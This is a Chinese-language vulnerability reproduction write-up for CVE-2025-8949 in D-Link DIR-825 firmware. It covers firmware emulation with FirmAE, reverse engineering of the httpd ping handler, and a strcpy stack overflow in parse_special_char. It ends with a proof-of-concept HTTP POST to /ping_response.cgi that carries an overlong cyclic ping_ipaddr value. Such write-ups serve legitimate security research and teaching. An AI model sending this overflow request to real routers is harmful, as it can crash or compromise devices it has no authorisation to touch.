文章总结: 本文分享了D-LinkDIR825固件CVE-2025-8949漏洞的复现与分析。作者首先使用Binwalk解包并利用FirmAE搭建模拟环境,随后逆向分析httpd二进制文件,定位到ping功能相关的get_ping_app_stat与parse_special_char函数。分析表明,parse_special_char函数虽试图通过转义特殊字符防止命令注入,但内部使用strcpy拷贝数据至200字节缓冲区时未进行长度校验,导致栈缓冲区溢出。文章最后提供了触发该溢出的HTTPPOST请求POC,完整展示了IoT设备固件分析及漏洞利用链路。 综合评分: 88 文章分类: IoT安全,漏洞分析,漏洞POC,逆向分析
CVE-2025-8949漏洞复现技术分享
原创
小木说安全 小木说安全
智检安全研习社
2026年2月6日 15:14 陕西
一、准备工作
1.Binwalk解包
Binwalk -eM 目标
2.使用firmwalker查看基本信息
./firmwalker.sh /home/lab/桌面/D-Link/_DIR825B1_FW210EUB01.bin.extracted/squashfs-root dir.txt
通过查看发现web固件httpd,根据文章内容进行模拟
3.使用FirmAE进行固件模拟
sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin
4.端口转发
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.0.1:80访问端口http://192.168.238.130:8080/
二.分析复现
1.跟踪函数get_ping_app_stat
函数分析
1、缓冲区 v5[256]
fread(v5, 0x100u, 1u, v2);
0x100 = 256,正好等于缓冲区大小。
如果 ping 输出超过 256 字节,理论上不会溢出(因为 fread 按照大小读取,但这里的问题是 system 命令的格式化字符串)。
2、system(“ping -c 1 \”%s\” > /var/misc/ping_app.txt”);
这里直接把 %s 放进了 system 命令,而且 没有把 a1 的内容传进去。
如果在实际固件中 parse_special_char(a1) 返回了字符串,并且 system 调用使用了用户可控的字符串(如 sprintf(cmd, “ping -c 1 \”%s\” …”, a1)),则可能导致 命令注入漏洞。
3、返回值逻辑
根据 ping 输出文件判断成功/失败/未知主机,这个逻辑没有安全问题。
接着我们追进去分析函数parse_special_char,看看里面写了什么。因为该函数是外部函数,所以要回去解包的固件中找他的文件位置,发现该函数在libproject.so文件中,将其放进IDA里分析函数
2.Web接口功能点定位
3.跟踪过滤函数parse_special_char
4.函数分析:parse_special_char 用于对用户输入的字符串进行 转义处理,主要是给以下字符前面加上反斜杠 \,” 双引号\ ,反斜杠,“` 反引号,$ 变量符号
目的:防止直接拼接到 system(“ping …”) 命令时出现命令注入。
2、存在的问题:
使用了 strcpy,且 v11[200] 存放用户输入。如果传入的字符串超过 200 字节,会导致 缓冲区溢出。再加上 v10[400],虽然比较大,但 strcpy(a1, v10) 依然没有长度检查。
3、总结:
parse_special_char 本意是做命令注入防护,但防护不完整,反而引入了新的 栈缓冲区溢出风险。
5.漏洞复现利用poc
| | | — | | POST /ping_response.cgi HTTP/1.1 Host: 192.168.238.130:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Referer: http://192.168.238.130:8080/tools_vct.asp Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Origin: http://192.168.238.130:8080 Content-Length: 98 html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaacaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac&ping=Ping |
三,参考文章链接
漏洞复现文章:https://www.iotsec-zone.com/article/509
工具 firmwalker:https://github.com/craigz28/firmwalker
FirmAE:https://github.com/pr0v3rbs/FirmAE
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智检安全研习社 小木说安全 小木说安全《CVE-2025-8949漏洞复现技术分享》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论